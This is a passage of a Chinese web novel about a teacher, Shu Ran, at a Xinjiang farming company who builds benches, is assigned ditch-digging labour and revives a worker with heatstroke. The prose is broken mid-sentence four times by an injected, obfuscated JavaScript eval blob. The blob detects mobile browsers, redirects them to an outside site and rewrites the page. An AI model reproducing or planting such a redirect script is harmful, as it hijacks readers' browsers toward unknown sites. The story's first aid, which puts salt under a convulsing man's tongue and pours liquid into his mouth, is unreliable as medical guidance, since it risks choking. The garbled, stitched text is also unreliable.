“暂时只能这样了,”许君君看着舒染那双白皙细腻却伤痕累累的手,叹了口气,“条件有限,没有更好的消炎药膏了。这几天手尽量别沾水,也别再搬重东西、磨东西了!不然这伤口好得慢!” 处理完手上的伤,许君君把那个棕色药酒瓶塞进舒染手里:“拿着,晚上睡觉前,让舍友再帮你把腰上的伤处揉一遍,一定要揉热乎了才行!还有这手,红药水明天早上自己再涂一次。” 她扶着舒染坐起身,语气变得严肃而关切:“舒染,听我一句劝,别逞强。你这腰伤和手伤,都得养!工作……你在教室里磨洋工谁也不知道!” “谢谢你,君君。药酒和红药水很管用。”舒染活动了一下腰,感觉确实轻松不少,但活动幅度稍大些还是会痛。 许君君知道劝不动,无奈地摇摇头:“唉,你从小就这样,行吧行吧,拗不过你!但记住啊,悠着点!腰别用力,手别使劲!感觉不对劲赶紧回来!别硬撑!身体是本钱,垮了就什么都没了!”她又叮嘱了一遍。 “嗯,记住了。君君,多亏遇到你。”舒染侧过脸,对着许君君露出真诚的微笑。 在这陌生的戈壁滩,遇到一个真心关怀自己的故人,这份温暖弥足珍贵。 “跟我客气什么!”许君君摆摆手,脸上也露出笑容,“快回去躺会儿吧,能歇一刻是一刻!有事随时来找我!” 告别了许君君,舒染心事重重地走回女工宿舍的地窝子。 腰伤缓解了,但课桌椅的问题还没解决。 赵卫东这条路堵死了,陈远疆那边……正如许君君所说,他不可能为了几张桌子板凳就动用原则去批条子,那不符合他的身份和作风。 一切还得靠自己。 回到地窝子,周巧珍不在,王大姐在缝补,李秀兰在午睡。而周巧珍,正背对着入口,面朝里墙侧躺在她的铺位上。 听到动静,王大姐抬起头,看到是舒染,脸上立刻绽开笑容,带着敬佩和关切:“舒染同志回来啦?腰好些没?快歇歇!”她声音不小,显然是说给周巧珍听的。 李秀兰也揉着眼睛坐起来:“舒染姐,许卫生员怎么说?要紧不?” 舒染笑了笑:“没事,就是肌肉挫伤,擦了药酒,养几天就好。谢谢大姐,秀兰。” 就在这时,背对着她们的周巧珍猛地翻了个身,动作很大,把身下的草席压得咯吱响。 她坐起身,脸色铁青,眼皮红肿,显然哭过。 她狠狠剜了舒染一眼,眼神里充满了怨毒,但又被忌惮压了下去。嘴唇动了动,似乎想说什么刻薄话,可最终只是从鼻子里重重地“哼”了一声,又猛地扭过头去,抓起一件衣服用力摔打。 王大姐撇撇嘴,没理她,继续对舒染说:“没事就好!快躺下歇着!上午可真是……亏得你镇得住场子!陈干事也来得及时!”她朝周巧珍那边努努嘴,意思不言而喻。 舒染没再看周巧珍,对王大姐和李秀兰点点头,轻声道:“嗯,是得歇会儿。” 舒染轻手轻脚地走到自己铺位,小心地侧躺下,避免压到后腰。 她闭上眼睛却睡不着:木头……除了仓库,哪里还能找到木头?废弃的农具?破旧的门板?倒塌的棚子?她的目光扫过地窝子的土墙、屋顶的梁……不行,这些都是结构,动不得。 突然,她想起昨天清理教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361290|183694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室时,在棚子后墙根下,似乎堆着一些被丢弃的破木板和木棍!当时急着清理地面垒讲台,没顾上细看。 一想到这,她立刻起身,也顾不上腰痛,快步朝工具棚走去。 舒染走到工具棚后墙根下。果然,一堆被遗忘的垃圾半埋在沙土和枯草里:几块边缘腐朽但中间还算厚实的破门板碎块,几根粗细不均、沾满泥垢的木棍,甚至还有半截生锈的犁辕,材质是硬木。 “就是它们了!”舒染心头一喜。但没有锯子,没有斧头,没有钉子,空有想法,巧妇难为无米之炊。 直接去找连队保管员老张头?不行,许君君说赵卫东把物资卡得死紧,尤其是木材。自己刚为了褥子走了陈远疆的路子,再去找老张头要工具,赵卫东肯定不乐意。 更何况,老张头那公事公办的态度,没有条子,想都别想。 她直起腰,环顾四周。连队的中心区域,男职工们早已下地,空旷的土路上偶尔有赶着羊群经过的牧人。 她的目光扫过连部那排土坯房,落在生产办公室旁边一间挂着“机修组”牌子的棚屋上。那里,马技术员正叼着莫合烟,蹲在地上捣鼓一堆生锈的零件,旁边散乱地放着几把扳手、一把半旧的钢锯,还有一柄斧头。 舒染脑中灵光一闪。她快步走回自己的教室,从角落那堆清理出来的破烂里,翻出几个锈蚀得看不出原貌的金属零件,像是废弃农具上掉下来的轴承和几块铁片。 她用手帕仔细包好,这才朝着机修组走去。 “马技术员,忙着呢?”舒染脸上挂着带着点请教意味的笑容。 马技术员头也没抬,鼻子里“嗯”了一声算是回应。他对这个资本家小姐搞的什么学校没半点好感,觉得纯属浪费资源。 舒染也不在意他的冷淡,蹲下身,保持着距离,将手帕包着的零件摊开在他面前的地上:“马技术员,您给看看?我刚才在收拾教室,从后墙根那堆废料里翻出来的。看着像是机器上的东西?不知道还能不能用?或者……有没有回收价值?要是能废物利用,也算是给连里节省点开支吧?” 马技术员这才撩起眼皮,瞥了一眼那堆锈疙瘩。他干了大半辈子机修,对零件有种本能的敏感。虽然锈得厉害,但轴承的底子似乎还能拆出点有用的滚珠,那几块铁片打磨一下,当垫片或者修补个什么东西也凑合。 他吐出一口烟圈,含糊道:“嗯……还有点用。放那儿吧。” “太好了!”舒染露出欣喜的表情,仿佛为连里做了件大好事。她话锋一转,指着地上那把沾满油泥的钢锯和斧头,语气自然又带着点不好意思:“那个……马技术员,我看您这儿工具挺全。我那边教室后墙根那堆废木头,乱七八糟的,想清理一下,省得绊倒娃娃们。您看……能不能借您这把锯子和斧头用一下?就今天下午,用完立刻给您擦干净送回来!保证不耽误您用!” 马技术员皱着眉,看看舒染,又看看地上的锯子和斧头,再看看那包锈零件。借工具给这个娇小姐?他本能地觉得不靠谱。但对方理由正当,还贡献了东西,直接拒绝似乎显得自己太小气。 16. 第 16 章 “你会用?”他怀疑地问,目光扫过舒染那双刚涂了红药水的手。 “简单的劈砍锯木头还是会的,以前在家……呃,学过一点木工基础。”舒染面不改色地扯了个小谎,语气笃定,“保证安全,绝不乱来!就是清理下杂物。” 马技术员又抽了口烟,权衡了一下。借出去一下午,似乎也没什么损失。这娇小姐要是真弄伤了,那也是她自己的事。 他最终不耐烦地挥挥手:“行行行,拿去!小心点用!下午收工前必须还回来!弄坏了要赔!” “谢谢马技术员!您放心!”舒染立刻地拿起那把沉甸甸的钢锯和斧头。 斧柄油腻腻的,锯条也沾着铁锈和油污,但在她眼里,这就是宝贝。 她抱着工具快步回到工具棚后墙根,也顾不上腰痛,立刻开工。 她先将那堆破木板和木棍拖拽出来,仔细挑选。 厚实的门板碎片做凳面,较粗直的木棍做凳腿,那半截犁辕木质坚硬,可以锯成小段做横撑加固。 她回忆着前世在手工视频里看过的简易榫卯结构,先用斧头小心地劈砍掉腐朽的部分,修整出大致形状。 钢锯很沉,锯齿也有些钝了,锯木头异常费力,没几下她就感觉腰后像针扎一样痛,手臂也酸得不行。汗水顺着额角流下,混合着木屑和灰尘,黏在脸上。 “不能停。”她咬紧牙关,将一块稍平整的木板垫在木料下,单膝跪地,用身体的重量压住木棍,开始锯起来。刺耳的“嘎吱”声在后墙根下回荡,木屑纷飞。 “舒染同志。”一个低沉的声音自身后响起。 舒染手一抖,钢锯差点脱手。她猛地回头,只见陈远疆不知何时站在几步开外,枣红马在不远处安静地啃着草。他的目光扫过她沾满木屑和汗水的脸,落在她手中的钢锯、地上的斧头、以及那堆正在加工的破木料上。 “陈干事。”舒染放下锯子,扶着后腰慢慢站起来,尽量让自己显得不那么狼狈。 “我……在清理教室后面的杂物,顺便看看能不能废物利用,给孩子们做几个矮凳趴着写字,省得硌胳膊。”她坦坦荡荡地说。 陈远疆的目光在那些破木料和半成品上停留片刻,又移到她的手上。 他只是简短地提醒了一句:“注意安全。工具用完及时归还。” “是,马技术员说了下午收工前还回去。”舒染立刻回答。 陈远疆略一点头,没再多言,转身牵起马缰,翻身上马。马蹄声响起,很快远去。 舒染松了口气。他看到了,没阻止,甚至没多问一句,这算是默许,还是单纯的不干涉? 她甩甩头,不再多想,重新锯木头。工具简陋,手艺生疏,但只要做得结实、能坐就行。 她不再追求什么榫卯,直接用斧头在凳腿和凳面上砍出凹槽,互相卡住,再用找来的废旧铁丝死死捆紧。样子丑陋,但足够稳固。 一个下午,她硬是靠着那股韧劲,做出了五张极其简陋、甚至有些歪斜的矮长凳!两个孩子坐一个长条矮凳,够坐了。 舒染累得几乎虚脱,一屁股坐在其中一张上,心里充满了成就感。 她仔细擦干净钢锯和斧头上的木屑油泥,赶在收工哨响前,将它们完好地还给了马技术员。 马技术员检查了一下工具,没说什么,只是嗯了一声算是收到了。 舒染拖着疲惫的身体回到女工宿舍,只想瘫倒在铺上。 “舒染同志!在吗?”门外传来一个年轻职工的声音,“赵主任让你去一趟生产办公室!” 舒染只得向赵卫东的办公室走去。 舒染刚走到生产办公室门口,就看见赵卫东正背着手,对着摊在桌上的几张纸眉头紧锁,手指敲着桌面,旁边还放着一顶沾满泥点的旧草帽。 马技术员坐在一旁的小凳上,闷头卷着莫合烟。 她轻轻敲了敲敞开的门板。 赵卫东闻声抬头,眉头依旧没松,“舒老师?进来吧。”他声音有点沙哑,显然是刚在工地上喊过话。 舒染走进去,站定。 “舒老师,”赵卫东开口,目光落在舒染身上,似乎想从她脸上看出点什么,“老马说你捣鼓那课桌椅……弄好了?没耽误娃娃们上课吧?” “嗯,都弄好了,孩子们能坐下了,不影响上课。”舒染平静地回答,目光扫过桌上那几张纸,似乎是各排的生产进度表,好几个地方用红笔画着圈。 赵卫东“嗯”了一声,算是知道了。他拿起桌上一个掉了漆的搪瓷缸子灌了一大口水,抹了把嘴,这才切入正题:“舒老师,有个事得跟你明确一下。” 他放下缸子,手指点了点桌面,“你是连里的在编职工,拿着固定工资,这个你知道。按说,上面批了你脱产搞教学,这是正事。” 他话锋一转,语气里带上了一种无奈:“但是,舒老师,你也看到了,”他指了指窗外远处尘土飞扬的开荒工地,“咱们连队任务压得重,人手掰成八瓣都不够用。连队里只要是能动弹的职工,都得扑上去。” 他叹了口气,像是解释,也像是强调:“咱们这地方,不比城里学校,没有那么多专职脱产的人手。上面批你脱产教学,是看重娃娃们认字的事,但整体的生产担子不能撂挑子。” 他看着舒染,传达着他的决定:“所以呢,经连里商量,也请示了上面,像你这样有固定脱产岗位的,每周需要抽出两个半天,全脱产,参加集体劳动。具体干啥,听生产排长安排,哪块最缺人就去哪块顶上。大家互相搭把手,共渡难关。” 他停顿了一下,补充道:“你放心,教学时间是保证的,这两个半天不会占用你上课的钟点。就是辛苦点,没办法,连队就是这个实际情况。你的劳动表现,会正常计入职工工作档案。” 舒染的心定了定,平静地说:“明白了,赵主任。连队生产任务重,人手紧张,大家都不容易。我服从安排。教学时间我会协调好,保证两边都不耽误。” 她的爽快让赵卫东的神情略微松了松。他点点头:“行,你能理解就好。这周就开始吧,明天下午和后天下午,直接去三排那边找王排长报到。他会给你派活。” 他挥挥手,示 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361291|183694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意谈话结束,目光又落回了那几张让他头疼的生产报表上。 “好的,赵主任。”舒染应了一声,离开了办公室。 她慢慢走回宿舍,心想着:明天上午的课,得把内容安排得更紧凑高效些。后天下午的劳动……得想办法弄点盐水补充体力,最好再找块头巾把头脸包严实点。 舒染回到地窝子时,周巧珍已经裹着被子面朝里墙,不知道是真睡还是假睡。 王大姐和李秀兰交换了个心照不宣的眼神,没多问,只是默默递过来一碗的温水。 她道了谢,接过来一饮而尽。 三排的排碱渠工地,据说是连队公认能把壮劳力都累趴下的地方。 她下意识地摸了摸后腰,隐隐作痛。还有这双手……后天下午要抡起十字镐翻盐碱地? 她闭了闭眼,再睁开时,眼神里只剩下一片沉静的决然。 第二天上午的课,她把认字、画图、唱简单的劳动号子轮番上阵,节奏紧凑得像赶场。孩子们被这种近乎打仗的节奏带着,连最皮的虎子和大毛也少有分神。阿迪力依旧抱着胳膊靠在墙边,眼神里多了几分探究。阿依曼则完全沉浸在用小石灰块描画“羊”、“草”、“水”的快乐里。 下课哨一响,舒染几乎是立刻宣布放学,看着孩子们全部出了棚子,她才扶着土坯讲台缓了口气。 不能停。她收拾好书本,脚步虚浮地向卫生室走去。 推开门,许君君正埋头在一个破旧的登记本上写着什么,听见动静抬头,看到是舒染,立刻放下笔迎了上来。 “腰怎么样了?还疼得厉害吗?”她目光落在舒染依旧有些僵直的站姿上,“手呢?我看看。” 舒染顺从地摊开手掌。许君君凑近一看,松了口气:“还好,这红药水涂了还是有效果的。” “君君,”舒染打断她,声音带着恳求,“帮帮我。下午我得去三排挖渠。” “什么?!”许君君急得变了音调:“挖渠?!你这腰,你这手,去挖排碱渠?那是人干的活吗?” “我知道很难。”舒染的声音很平静,“但必须去。帮我弄点盐水,能补充体力。再给我点干净的旧布条,越结实越好,我得把手缠上,不然真废了。” 许君君瞪着舒染。她嘴唇动了几动,最终长叹一声。 “你真是……不要命了!”她咬牙切齿,转身在药柜里一阵翻找,翻出一个磕碰得坑坑洼洼的军用水壶,拔开塞子闻了闻,又从一个写着“粗盐”的牛皮纸包里,舀了几大勺盐进去,拿起暖水瓶就往里冲开水,直到水壶快满溢出来。 接着,她又从柜子底层翻出一卷边缘有些毛糙的绷带,用力塞到舒染手里:“给!布条没有,这个凑合用!省着点!所剩无几了!” “谢谢。”舒染接过水壶和绷带。 “别谢了!”许君君眼圈有点红,背过身去,“晚上回来要是爬不动了,我去背你!” 舒染乐了:“干嘛搞得像生离死别,我又不是上战场,我是去挖大渠而已!” 许君君恨恨地跺了下脚,“赶紧走赶紧走!” 17. 第 17 章 许君君塞过来水壶沉甸甸地坠在腰间,那绷带则被舒染缠在隐隐作痛的手掌上,试图提供一点缓冲。后腰被撞伤的地方似乎松快了些。 舒染回到地窝子,翻出那个压在樟木箱最底层的旧包袱。解开包袱皮,里面是一件折叠整齐的玫红色真丝方巾。这是从上海带来的。 她展开方巾,对着角落里那面模糊的小圆镜,一层层地将它裹在头上,包住耳朵,在下巴处打了个结。 收拾妥当,也该去劳动了。 “舒染姐,你真要去三排啊?”李秀兰忍不住小声问,视线停在那条丝巾上,“我听隔壁张婶说,三排的盐碱地,壮汉一天下来都能脱层皮……” “得去,你们都参加劳动,我也没什么特殊的。”舒染的声音没什么起伏,继续翻找出一双劳保手套,小心地套在伤手上。 “三排那地方……唉,能歇就歇会儿,别硬撑。”王大姐叹了口气,递过来一块掺了麸皮的杂粮饼,“垫垫肚子,顶饿。我在做饭棚子那里做的。” 周巧珍不知从哪里从来一大捧沙枣枝,正在坐在桌子前摘上面的沙枣,背对着这边,幸灾乐祸地说:“舒老师,您终于和我们一样了。” 舒染当没听到,接过饼子揣进口袋,对王大姐点点头:“谢谢大姐。”转身掀开那块破毡子,走进了午后最毒辣的日头里。 一个扛着铁锹匆匆走过的老职工,擦了一把头上的喊,嘟囔着:“哎,不愧是早穿棉袄午穿纱,一到中午咋这么热……” 舒染拦住他:“大哥,麻烦问下,三排王排长在哪儿?排碱渠怎么走?” 老职工上下打量,认出了她,眼神复杂地朝连队西边一指:“喏,顺着这条道往西,走到头,看见一片白花花的盐碱壳,人最多、灰最大的那片就是!王排长?嗓门最大的那个就是!” 谢过老职工,舒染顶着日头向西走去。脚下的路越来越颠簸,空气里的土味越来越浓。 视野尽头,白茫茫一片盐碱地,像是脏了的雪原。 盐碱壳在烈日下像盐巴一样,地表龟裂开深深的纹路。 轰鸣声、撞击声和偶尔的吆喝混杂着传来,越来越清晰。 几十条汉子,赤着上身或只穿件破烂的汗褂,脊背在毒日头下油亮反光。 他们挥动着十字镐,一下又一下砸在盐碱板上。镐头落下,再奋力撬起一块粘着盐碱的土疙瘩,丢进旁边的筐里。 挑担的人佝偻着腰,踩着跳板,把土筐送上渠沿。 尘土弥漫,几乎看不清人脸,只有一个个奋力挖渠的人影。 靠近渠尾的地方,一群裹着头巾、穿着旧军装的女职工同样挥汗如雨,她们的动作并不比男人慢多少。 有的女职工正挥动着铁锹,使劲将渠底撬上来的大块盐碱土拍碎,再铲进更小的筐里,再由另一些女职工接力挑走。 还有几个年纪稍大的妇女,在稍远一点的临时灶台旁忙碌,烧着开水,准备着简单的饭食,被热气和烟尘熏得满脸通红。 “王排长!”舒染提高声音,在一片嘈杂中喊道。 一个满脸络腮胡的汉子闻声转过头,抹了把糊住眼睛的汗和泥,眯着眼看她:“谁?……哦!舒老师?” 他显然接到了通知,“赵主任让你来的?行!来了就干!看见没?”他用下巴点了点旁边一堆锈迹斑斑的工具,“自己挑个顺手的!跟着大伙儿干!看别人咋干你就咋干!注意安全!看见孙大姐她们没?能干多少干多少,别逞能!” 舒染走到那堆工具旁。生锈的十字镐、铁锹……她想了想,弯腰拿起一把看上去相对小一号的十字镐。入手沉甸甸的,木柄粗糙,还好她在手上做了一些保护措施。 她拖着镐头走向渠底一个空档处。旁边几个正在撬土块的汉子停了下来,抹着汗,目光扫过她包得严严实实的头脸和纤细的身板,以及她手中那柄秀气的十字镐。 “哟!舒老师?真来了?”一个男人的声音响起,是李大壮。他咧开嘴,露出一口被莫合烟熏黄的牙,“咋还包这么严实?怕晒黑了回上海找不到婆家啊?咱们这儿可没镜子给你照!” 旁边几个汉子哄笑起来。 “舒老师,这活儿可跟你那教室里的念啊唱啊的可不一样!这镐头沉,别闪着腰!”另一个汉子怪腔怪调地接话。 “就是!舒老师,要不你给我们唱个歌鼓鼓劲?唱个上海的小曲儿?”哄笑声更大了,带着戏谑。 舒染没理会这些刺耳的笑声。她学着旁边人的样子,双脚分开,站稳,双手紧握镐柄,高高举起,用尽全身力气,狠狠砸向脚下那块灰白色的盐碱地。 “咚!” 一声闷响,反震的力量沿着木柄狠狠撞上她的虎口和掌心,剧痛让她眼前一黑,差点脱手。 “哈!”李大壮的笑声更响了,“舒老师,你这劲道,是给盐碱地挠痒痒呢?” 周围又是一片嗤笑声。 舒染咬紧牙关,再次举起镐,调整角度,学着旁边一个老职工的样子,试图撬开土层。 这一次,镐撬起一小块巴掌大的土疙瘩。她弯腰,用手套抓住那块硬土,费力地丢进旁边的土筐里。 汗水浸透了额头的真丝头巾,流进眼睛里,火辣辣的疼。 舒染一下又一下地重复着刚才的动作。她不敢停,怕一停下就再也举不起镐头。 尘土呛得她不住咳嗽,她感觉自己像一条被扔在戈壁上的鱼,正在被盐碱腌透烤干。 时间仿佛凝固了,只有毒辣的日头在缓慢移动。 就在舒染的意识开始因高温、脱力和疼痛而有些飘忽时,一声变了调的叫喊声引起了所有人的注意。 “大壮!大壮你怎么了?!” 舒染猛地抬头,循声望去。 只见几米开外,李大壮手里的十字镐不知什么时候掉在地上。他整个人面朝下扑倒在地上,一动不动。 “大壮!” “快来人啊!大壮晕倒了!” 附近几个汉子扔下工具围了上去,七手八脚地想把他翻过来,一片慌乱。有人掐他的人中,有人拍他的脸,一片混乱。 李大壮脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361292|183694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紫红,嘴唇干裂发白,双眼紧闭,牙关紧咬,喉咙里发出喘息声,胸膛剧烈起伏,四肢抽搐着。 热射病,会死人的!前世学过的急救知识让舒染立刻想到这个。 王排长吼着冲过去:“快!抬到阴凉地去!” 众周围的汉子迟疑地说:“排长,这周围连个树都没有……” 王排长声音都变了调,“把他抬到渠沿上面那个拖拉机的阴凉里去!快啊!”他急得直跺脚。 人群更加混乱,几个人七手八脚地把李大壮抬过去。 舒染心头一紧,扔掉镐头冲了过去。她拨开挡在前面的人:“让开!让我看看!” 挤到近前,只见李大壮被翻了过来,还是在不住地抽搐。 就是重度中暑!舒染猛地扯下头上那条真丝头巾。 “水!谁还有凉水?快!”她急切地喊道。 旁边一个汉子慌忙递过来一个破旧的军用水壶,里面还剩小半壶茶水,被太阳晒得温热。 舒染看也不看,一把抢过,拔开塞子,毫不犹豫地将里面小半壶浑浊的水全泼在真丝头巾上。布巾瞬间吸饱了水。她飞快地将湿透的头巾撕成几块。 她跪在地上,一把撕开李大壮汗湿破烂的衣襟,露出汗津津的胸膛和脖颈。 她将湿透的头巾迅速叠好,用力按压在李大壮滚烫的额头,又飞快地敷在他两侧颈动脉搏动的地方。 做完这一切,她抬头,目光急切地扫过围观的汉子们,“快给我盐!干净的盐!有没有?” “盐?要盐干啥?”一个汉子懵了。 “快啊!”舒染眼睛都红了,“救人!给他补充盐分!” 王排长反应最快,猛地一拍大腿:“老蔫!你早上领的那包粗盐呢?拌饭那个!快拿来!” 一个干瘦的老职工慌忙从怀里掏出一个油纸包递过来。 舒染一把抓过,抖开油纸,里面是粗糙发黄的大盐粒。她捏起一小撮,撬开李大壮紧咬的牙关,将盐粒塞进他舌头底下。接着,她抓起自己腰间挂着的那个水壶,里面是许君君给她调调制的盐水。 她拔掉塞子,凑到李大壮干裂的唇边,用壶嘴撬开缝隙,一点点地往里灌着盐水。 刚才还在哄笑嘲弄的汉子们,此刻都目瞪口呆地看着这个跪在地上的娇小身影。渠坡上忙碌的女职工们也停下了手里的活,伸长了脖子看着舒染。 时间一分一秒过去。 “呃……嗬……”李大壮喉咙里发出一声呻吟,紧咬的牙关终于松开了一些,眼皮剧烈地颤动起来。 “醒了!大壮醒了!”有人惊喜地喊道。 李大壮睁开眼,眼神涣散,但胸膛的起伏明显平缓了些,脸上的紫红也褪去了一点,显出虚弱的苍白。 他茫然地看着跪在眼前的舒染,又看看周围一张张紧张的脸。 舒染长出一口气,眼前阵阵发黑,差点栽倒。她强撑着,把盐水壶塞到旁边一个汉子手里:“慢点喂……等他缓过劲……” 就在这时,一阵急促的马蹄声由远及近。 18. 第 18 章 “吁——!” 陈远疆勒住缰绳,翻身下马。扫视着混乱的现场,看到了了跪着的舒染和她身旁刚刚恢复意识的李大壮。 “怎么回事?” “陈干事!”王排长立刻挺直腰板,“李大壮中暑晕倒了!多亏了舒老师!是她给救过来的!” 陈远疆的目光落在舒染身上,她正试图撑着膝盖站起来。 陈远疆径直走到李大壮身边,蹲下身探了探他的脉搏和额头温度,又看了看他被敷着湿布巾的颈侧。 “卫生员马上到。”他沉声道,目光转向王排长,“去找块门板,再找两个人,立刻把他抬回连部卫生室!动作轻点!” “是!”王排长立刻招呼人。 陈远疆这才站起身,目光重新落在舒染身上。 “你怎么样?”他问,语气依旧听不出什么情绪。 “没事。”舒染勉强站直,声音沙哑,“就是……有点脱力。”她下意识地想把手藏到身后。 陈远疆的目光在她手套边缘透出的绷带上停留了一瞬。他没再追问,只是命令道:“你也回去。许卫生员在处理李大壮,让她也给你看看。” 他的目光扫过她沾满盐霜泥灰的裤腿和那双磨破的旧皮鞋,提醒道:“劳动的时候换上解放鞋,供销社有,你……有票吧?” 舒染点点头,没力气再说什么。 渠底一片寂静。几十条汉子,都默默地看着舒染走向连队的方向。 李大壮被抬上门板,经过舒染身边时,他侧过头发出微弱的气声:““……谢……谢……舒老师……救命……恩……” 舒染脚步顿了顿,轻轻点了下头,继续往前走。 陈远疆站在渠沿上,目送着舒染的背影消失在飞扬的尘土里。枣红马在他身边打了个响鼻。 王排长走到他身边,抹了把汗,看着舒染消失的方向,咂了咂嘴,低声道:“陈干事,这舒老师……真看不出来,是个狠茬子。刚才那架势,临危不乱,有板有眼,硬是把大壮从鬼门关拉回来了!咱们这群大老爷们,当时都麻爪了……” 陈远疆没有回应,他收回目光,看向渠底那些沉默的汉子,“继续干活。”他翻身上马,调转马头,朝着连部疾驰而去。 渠底,十字镐再次落下,闷响连成一片,没人再说话。 舒染的视野有些发飘,远处的轮廓在蒸腾的热浪和尘烟中扭曲晃动。 她几乎是拖着身体在挪。排碱渠到连部大概有三五公里,此刻漫长得像没有尽头。 每一次迈步,腰后就疼痛难忍,牵扯得半边身子都发麻。掌心更是火烧火燎。劳保手套早就在救李大壮的时候脱掉了,此时汗水混着血水浸透绷带,黏糊地裹着伤口。 就在舒染刚拐过一个堆着草料的土垛,一阵急促的马蹄声自身后响起,又在她前方几步勒停。 枣红马喷着响鼻出现在她面前。马背上,陈远疆的身影挡住了阳光,帽檐下的目光沉沉地落在她身上。 “上来。” 舒染脚步一顿,上次共乘一马的记忆浮现出来——颠簸、尴尬、身体紧贴,还有那只滑落的丝绸睡衣。 她下意识地后退了半步,“陈干事……我……我能走。”她甚至不敢看他的眼睛,目光落在别处。 在这流言蜚语能杀人的地方,她一个成分不好的女知青,再和保卫处的特派员同乘一匹马招摇过市……周巧珍那帮人会嚼出什么舌根,她不敢想。 陈远疆沉默了几秒,目光扫过空旷的四周,利落地翻身下马,牵着缰绳大步流星地向前走去,只丢下一句话:“跟上。马在前面等你。” 他竟真的牵着马,头也不回地走远了。 舒染看着陈远疆远去的背影,去卫生室的路还很长。 她感受着自己没有知觉的双腿和仿佛要断掉的腰。尊严在生存面前脆弱得不堪一击。 算了,就当坐个顺风车。她朝着胡杨林岔口的方向挪去。 岔口那棵歪脖子胡杨树下,陈远疆果然勒马等着。 见她出现,他利落地翻身下马,一手控住马匹,另一手伸向舒染,言简意赅:“踩马镫,上。” 舒染看着那高高的马镫,咬紧牙关,用没受伤的手死死抓住马鞍前桥,用尽全身力气,几乎是连滚带爬地把自己摔上了马背。 陈远疆在她坐稳后立刻翻身上马,坐在她前面。他刻意挺直了背脊,与她保持着尽可能远的距离,缰绳一抖:“驾!” 马匹奔跑起来。这一次,颠簸带来的痛苦远超上次。每一次马背的起伏,都牵动着她受伤的腰上,痛得她眼前发黑,身体不受控制地摇晃。 她下意识地想抓住什么稳住自己,上次抓的是什么?对了,是陈远疆的武装带。 就在她的指尖即将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361293|183694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触碰到陈远疆的皮带扣时,陈远疆仿佛背后长了眼睛,身体猛地向前倾了一些,同时低声地警告:“抓鞍桥!” 舒染的手僵在半空,最终抠住了身下马鞍。掌心伤口的刺痛让她倒吸凉气。 风声在耳边呼啸,尘土扑面。僵持了几息。 陈远疆没有回头,只是肩膀的线条似乎松动了半分,语气带着无奈的妥协:“……扶好我的腰!别抓皮带扣!” 舒染愣了一下,然后松开抠着马鞍的手,将双手虚虚地搭在了陈远疆腰身两侧。隔着布料也能感受到腰上坚实的肌肉的触感。 她能感觉到陈远疆在她双手搭上的瞬间,身体也明显绷紧了一下,随即拉开了点接触距离。 两人之间再无言语。 快到连部时,陈远疆提前勒住了马。 “下。”他率先利落下马。 舒染几乎是滚下来的,落地时一个踉跄,被陈远疆伸出的手臂虚虚挡了一下才稳住。 “卫生室。”他丢下三个字,牵马走向拴马桩,不再看她。 卫生室门口已围了不少人。连长马德海背着手,眉头拧成疙瘩,黝黑的脸上满是焦急。 生产主任赵卫东则不停搓着手,嘴里反复念叨着:“这可咋整!三排进度本来就落后!再倒下个壮劳力……唉!”他目光不时瞟向卫生室里面,又焦躁地看看天色,显然更忧心耽误的工期。 陈远疆拴好马,大步流星走来。马连长看到他,立刻说:“陈干事!大壮他……” 陈远疆略一点头,拨开人群走进卫生室。舒染强撑着跟在他身后。 里面更显拥挤混乱。李大壮赤着精壮的上身躺在简易床上,脸色蜡黄,胸膛起伏急促,喉咙里嗬嗬作响。 许君君正用一块湿布擦拭他的额头、颈侧和腋下。她看到舒染和陈远疆进来,眼神飞快地掠过舒染惨白的脸和裹着绷带的手,立刻低下头专注于病人。 